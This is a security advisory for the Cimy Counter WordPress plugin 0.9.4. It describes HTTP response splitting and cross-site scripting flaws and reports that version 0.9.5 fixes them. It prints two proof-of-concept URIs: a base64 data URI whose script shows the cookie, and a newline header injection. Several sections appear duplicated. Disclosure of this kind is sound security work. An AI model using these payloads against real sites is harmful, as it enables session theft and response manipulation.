Cimy Counter for WordPress HTTP Response Splitting and Cross Site Scripting Vulnerabilities
BID:41132
Info
Cimy Counter for WordPress HTTP Response Splitting and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 41132 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 05 2010 12:00AM |
| Updated: | May 05 2010 12:00AM |
| Credit: | MustLive |
| Vulnerable: |
Marco Cimmino Cimy Counter for WordPress 0.9.4 |
| Not Vulnerable: |
Marco Cimmino Cimy Counter for WordPress 0.9.5 |
Discussion
Cimy Counter for WordPress HTTP Response Splitting and Cross Site Scripting Vulnerabilities
Cimy Counter for WordPress is prone to an HTTP response-splitting vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
Versions prior to Cimy Counter for WordPress 0.9.5 are vulnerable.
Cimy Counter for WordPress is prone to an HTTP response-splitting vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
Versions prior to Cimy Counter for WordPress 0.9.5 are vulnerable.
Exploit / POC
Cimy Counter for WordPress HTTP Response Splitting and Cross Site Scripting Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b
http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b
http://www.example.com/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test
Solution / Fix
Cimy Counter for WordPress HTTP Response Splitting and Cross Site Scripting Vulnerabilities
Solution:
Updates are available; please see the references for more information.
Solution:
Updates are available; please see the references for more information.
References
Cimy Counter for WordPress HTTP Response Splitting and Cross Site Scripting Vulnerabilities
References:
References:
- Cimy Counter for WordPress Homepage (Marco Cimmino)
- Vulnerabilities in Cimy Counter for WordPress ("MustLive"
)